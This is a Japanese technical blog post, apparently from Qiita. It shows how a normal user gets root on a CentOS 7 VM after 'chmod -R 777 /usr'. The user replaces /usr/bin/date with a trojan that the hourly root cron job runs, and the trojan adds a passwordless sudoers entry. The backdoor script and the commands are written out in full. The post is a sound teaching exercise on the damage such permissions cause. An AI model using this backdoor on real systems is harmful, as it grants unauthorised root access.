Go to list of users who liked
Share on X(Twitter)
Share on Facebook
More than 3 years have passed since last update.
chmod -R 777 /usr を実行したCentOS7で、一般ユーザがroot権限を得られることを確認する
Teratailで、suコマンドでrootログインできないという質問があり、てっきり/etc/pam.d/suまわりの設定かと思いきや、そうではなく、自己解決で説明された原因に一同驚愕ということがありました。
/usr/share/nginx/html
に権限を追加したくて、横着して
chmod 777 -R /usr
とコマンド実行した記憶があります。
CentOS7、suコマンドでrootにログインできない、パスワードは絶対あっているのになぜ?
/usr 以下のパーミッションをすべて777に設定したら、逆に動くべきものが動かなくなる例なのですが、これをやるとセキュリティ上問題であることは言うまでもありません。究極的には、一般ユーザがroot権限とれるかという疑問が出てきますよね。
以前、「chmod 777 -R /usr」が話題になりましたが、これをやると一般権限のユーザーからrootが簡単にとれますよね。セキュリティを勉強中の方は練習問題としてやってみるとよいと思います(机上あるいはVM等で)。かなり簡単ですけど、どうかな?
— 徳丸 浩 (@ockeghem)April 6, 2021
「かなり簡単」と書いてしまいましたが、どうでしょうか。
Twitterでは以下のようなアイデアもいただきましたが…
これでSUIDビット立ってるコマンドがpermissionで弾かれずに実行出来るようになるから、そこからコマンド実行する的なものだろうか…?https://t.co/87972J7taI
— ギ (@Gymp1e)April 6, 2021
でももっとエレガントな方法があるかもしれないhttps://t.co/lsmiOrFGIg
chmod -R 777 した時点でSUIDビットがクリアされてしまうので、これはできないのですよね。
私が思いついた方法は、/usr/bin あるいは /usr/sbin 以下のコマンドを改ざんできるので、rootで実行されることが確実なコマンドにバックドアを仕掛けておくというものです。ここまでは、まぁ「かなり簡単」な範疇かと思いますが、現実に試すとなると、Linux力が問われそうです。
Teratailの元々の質問では、OSとしてCentOS7が使われていたので、以下、CentOSで /usr以下がパーミッション777になっている状況でrootを取るというのをやってみました。
まずは現状調査で、/usr以下のパーミッションを表示しますが、確かに777になっています。実行ユーザはaliceとしています。
$whoamialice$pwd/usr$ls-ltotal 144drwxrwxrwx. 2 root root 24576 Apr 7 15:10 bindrwxrwxrwx. 2 root root 6 Apr 11 2018 etcdrwxrwxrwx. 2 root root 6 Apr 11 2018 gamesdrwxrwxrwx. 45 root root 8192 Jan 15 15:01 includedrwxrwxrwx. 29 root root 4096 Jan 15 15:02 libdrwxrwxrwx. 52 root root 32768 Jan 15 15:04 lib64drwxrwxrwx. 23 root root 4096 Jan 15 15:02 libexecdrwxrwxrwx. 12 root root 4096 Apr 11 2018localdrwxrwxrwx. 2 root root 16384 Jan 15 15:03 sbindrwxrwxrwx. 99 root root 4096 Jan 15 15:03 sharedrwxrwxrwx. 4 root root 32 Apr 11 2018 srclrwxrwxrwx. 1 root root 10 Aug 14 2018 tmp -> ../var/tmp$CentOSでは、cronで1時間毎に起動されるスクリプトがあるので、これを利用してみましょう。設定は以下のようになっています。
$cd /etc/cron.d$ls0hourly$cat0hourly# Run the hourly jobsSHELL=/bin/bashPATH=/sbin:/bin:/usr/sbin:/usr/binMAILTO=root01**** root run-parts /etc/cron.hourly$毎時1分に /etc/cron.hourly 下のスクリプトをすべて実行する設定になっています。中身はどうでしょうか。
$cd /etc/cron.hourly/$ls0anacron$cat0anacron# !/bin/sh# Check whether 0anacron was run today alreadyiftest-r /var/spool/anacron/cron.daily;thenday=`cat /var/spool/anacron/cron.daily`fiif[`date +%Y%m%d`="$day"];thenexit0;fi# Do not run jobs when on battery poweriftest-x /usr/bin/on_ac_power;then /usr/bin/on_ac_power>/dev/null 2>&1iftest$?-eq 1;thenexit0fifi/usr/sbin/anacron-s$/etc/cron.hourly/0anacron が1時間おきに起動される設定になっています。0anacron で必ず実行されるコマンドはtestとdateですが、testは/bin/shの内部コマンドなので改ざんはできません(/bin/sh は/usr下にないので改ざんできない)。なので、dateコマンドの偽物を作りましょう。
本物のdateコマンドをdate.orgとリネームしておいて、偽dateコマンドとして下記を用意します。
# !/bin/shif[$(id-u)= 0];then# root権限の場合cd /usr/binchmod644 /usr/libexec/sudo/sudoers.so# sudo を実行するための設定chmod4111sudo# sudo を実行するための設定echo"alice ALL=NOPASSWD: ALL">> /etc/sudoers# aliceがパスワードなしにsudoできる設定mv-f date.orgdate# 設定が終わったのでdateコマンドを戻しておくexec /usr/bin/date"$@"# 元のdateコマンドを実行elseexec /usr/bin/date.org"$@"# root権限がない場合は単に元のdateコマンドを実行fisudo関係のファイルをchmodしていますが、これをしないと下記のようなエラーになります。
$sudo whoamisudo: /usr/bin/sudo must be owned by uid 0 and have the setuid bitset$先の偽dateコマンドを/home/alice/date に設置した状態で、0anacron が実行される直前(でなくても大丈夫ですが)に下記のスクリプトを実行します。
# !/bin/shcd /usr/binmv datedate.org# 元のdateコマンドをリネームcp ~/date.# /home/alice/dateを/usr/binに設置実行後は下記となります。dateコマンドのオーナーがaliceというのが怪しいですね。なので、上記を実行するのは0anacron が実行される直前がよいでしょう(dateをリネームせず退避して上書きすればオーナーの問題は解消できますが、今回はやめときました)。
$pwd/usr/bin$ls-ldate*-rwxr-xr-x 1 alice alice 319 Apr 8 11:59date-rwxrwxrwx 1 root root 62200 Nov 17 07:24 date.org$0anacronが動くと、aliceがsudoできる環境が整います。試してみましょう。
$whoamialice$sudo whoami# sudo を試す(パスワードは要求されない)root$ちゃんとrootになれていますね。
/usr 以下のdateコマンドについては下記の通り戻っています。
$ ls -l date*-rwxrwxrwx 1 root root 62200 Nov 17 07:24 date$aliceがsudoコマンドを使ったログは/var/log/secureに残っています。
$ sudo tail /var/log/secure...Apr 8 12:01:42 centos7-777 sudo: alice : TTY=pts/1 ; PWD=/home/alice ; USER=root ; COMMAND=/bin/whoamiApr 8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session opened for user root by alice(uid=0)Apr 8 12:01:42 centos7-777 sudo: pam_unix(sudo:session): session closed for user root...このようなログが残ることは、sudoによって管理者権限のコマンドを実行することが好ましい理由の一つです。一方、本格的な攻撃者は、上記のような痕跡を隠す行動をとりますが、今回はそこまではこだわらないことにします。
ということで、/usr以下のパーミッションが777になると一般ユーザがroot権限を取れることを確認しました。もっと良い方法や、別のアプローチをご存知のかたはぜひ教えて下さい。
Register as a new user and use Qiita more conveniently
- You get articles that match your needs
- You can efficiently read back useful information
- You can use dark theme